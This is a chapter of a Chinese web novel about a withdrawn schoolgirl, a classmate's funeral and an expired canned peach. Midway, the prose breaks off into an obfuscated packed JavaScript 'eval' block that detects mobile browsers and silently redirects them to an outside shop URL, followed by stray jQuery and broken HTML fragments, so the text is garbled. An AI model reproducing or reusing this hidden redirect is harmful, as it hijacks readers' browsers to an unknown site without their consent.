第一百四十四章：过期罐头与走调的安魂曲
青春，是死在便利店冰柜最里层的。不是腐烂，是过期。是那种贴着“最佳赏味期”标签，却在角落里悄悄挺到最后一秒，然后“咔嚓”一声，在没人知道的维度里，脆掉的苏打饼干。它没来得及发霉，没来得及被人嫌弃地扔进垃圾桶，它就那么安安静静地，乖巧地，在保鲜膜里，僵硬成了一块没有感情的化石。我们的青春，就是这么一货架，琳琅满目却又无人问津的临期食品。
而邱莹莹，她不是货架上的商品。她是那个总也卖不出去的、落了单的赠品。或者是，那个被收银员遗忘在柜台底下，和一堆缠满蜘蛛网的电池、发霉的棒棒糖混在一起的，过期玩具。
她坐在教室那个靠窗的角落，像一只电量耗尽的电子宠物。你知道那种感觉吗？就是小时候玩的拓麻歌子，你不理它，它也不会闹，就那么安安静静地，黑屏了。邱莹莹就是那个黑屏了的、外壳上还带着卡通贴纸的、死掉的拓麻歌子。她的存在，就是为了提醒你，这世界上有一种死法，叫做“忘了关机”。
她的皮肤，是那种长时间没晒太阳的、苍白的塑料感。你甚至能想象，如果用手指用力按一下，会留下一个久久不回弹的坑。她的头发，像几天没充电的电动牙刷头，软塌塌地耷拉着，没有一丝光泽，也没有一丝脾气。她走路的时候，没有声音，像扫地机器人没电了，在那儿慢悠悠地、茫然地瞎转悠。
她喜欢听汪苏泷。
这简直是这个巨大悲剧里，最荒谬、最让人想哭的一个注脚。当全世界的青春期都在轰轰烈烈地摇滚，在歇斯底里地民谣的时候，邱莹莹，她把耳机塞进耳朵，把音量拧到刚刚好能把世界隔绝在外的那个刻度，然后，汪苏泷那软绵绵的、带着点小忧郁又故作轻松的声音，就那么流淌了出来。
“风吹过我的脸～”
“你咬着嘴唇～”
那声音，不是震出来的，是飘出来的。像棉花糖一样，甜得发腻，却又轻得没有分量。你听着听着，会觉得自己的身体也跟着变轻了，轻得像个气球，随便一根手指头就能戳破。
她在听《有点甜》的时候，表情是空的。她不是在感受甜蜜，她是在消化糖分。你能看到那些甜腻的旋律，像粘稠的蜂蜜，一滴一滴，洇进她那干涸的身体里。她没有变得更甜，她只是泡在了糖水里，浮肿着，透着一种不健康的、苍白的亮光。
她在听《不分手的恋爱》的时候，嘴角会极其轻微地抽动一下。那不是笑。那是短路。是电路接触不良时，噼里啪啦炸出的几颗火星。歌词里唱着“永远不分手”，她就坐在那里，像个被遗弃在婚礼现场门口的、破旧的洋娃娃，听着别人海誓山盟，然后，安静地、礼貌地，坏掉。
这就是邱莹莹的青春。一场汪苏泷式的慢性自杀。没有血腥的伤口，只有密密麻麻的、看不见的糖分，一点点地，蛀空了她的骨头。
然后，约瑟夫来了。
不，是约瑟夫的死来了。
那场葬礼，办得像一场排练了很久却依然漏洞百出的校园舞台剧。地点就在学校那个阴冷的、永远有一股霉味的礼堂。
约瑟夫是谁？没人知道。他可能是隔壁班那个总是考第一、笑起来有两个酒窝的男生，也可能是那个篮球打得很好、衬衫总是干干净净的学长。总之，他死了。死得很青春，也许是车祸，也许是溺水，也许是莫名其妙地，像邱莹莹一样，忘了关机。
葬礼上，没有撕心裂肺的哭声。大家都很懂事，很安静。穿着不合身的校服，排着队，像流水线上的零件，一个一个地从棺材旁边走过。
棺材是白色的。像那种廉价的、装冰淇淋的大桶。约瑟夫躺在里面，脸上盖着白布，不知道是安详还是尴尬。
邱莹莹也去了。
她站在队伍的末尾。她没有哭。她只是在数自己的脚步。一步，两步。那声音在空旷的礼堂里，回荡着，像木鱼一样，单调，乏味。
轮到她了。她走到那口巨大的白色桶前面。
她没有鞠躬。她只是低下头，往里看了一眼。
那一眼，我看懂了。那不是在看死人。那是在看镜子。
棺材里的约瑟夫，脸色苍白，双手交叠，安静得像一只睡着了的洋娃娃。这画面，和邱莹莹重叠了。简直是复制粘贴。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567064|204797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她忽然从口袋里掏出了一个东西。
不是鲜花。不是蜡烛。
是一个罐头。
一个过期的黄桃罐头。
那是她青春的图腾。她一直藏在书包最底层，像个秘密，像个护身符。现在，她要把它陪葬。
她把那个冰凉的、硬邦邦的罐头，轻轻地、小心翼翼地，放在了约瑟夫交叉的手背上。
“哐当”一声轻响。
那声音，不像祭品落下的声音。像打开一个汽水罐的声音。
呲——
那一瞬间，我仿佛听见了气体泄漏的声音。不是二氧化碳，是青春的声音。
邱莹莹的青春，就在这个过期罐头被放进棺材的那一刻，正式宣告死亡。
她本来就是个电量不足的电子宠物，现在，她把最后一点备用电池，也给了那个长睡不醒的约瑟夫。
葬礼结束后，天上下起了毛毛雨。
大家都跑了。只有邱莹莹，还站在礼堂门口。
她没打伞。任由那些细细的、凉凉的雨丝，打湿她的头发，打湿她的脸。
她忽然哼起歌来了。
是汪苏泷的《小星星》。
“一闪一闪亮晶晶～”
她的声音抖得厉害。像老旧的唱片机，针头已经划到边缘了，还在倔强地转着。
“满天都是小星星～”
她唱得五音不全，跑调跑到外婆桥去了。
但这不重要。重要的是，她唱了。
她一边唱，一边笑。笑得肩膀一耸一耸的，像个提线木偶，有人在胡乱地扯着她的线。
雨越下越大。
她的歌声，被雨声吞了下去。
她的身影，被雨幕模糊成了一团灰色的影子。
我就站在不远处的屋檐下，看着她。
看着这个过期的、走调的、像罐头一样的青春，在雨里，一点一点地，融化掉。
没有轰轰烈烈。
只有一地的潮湿，和一声轻得几乎听不见的——
“咔嚓。”
那是苏打饼干，终于碎掉的，最后一声。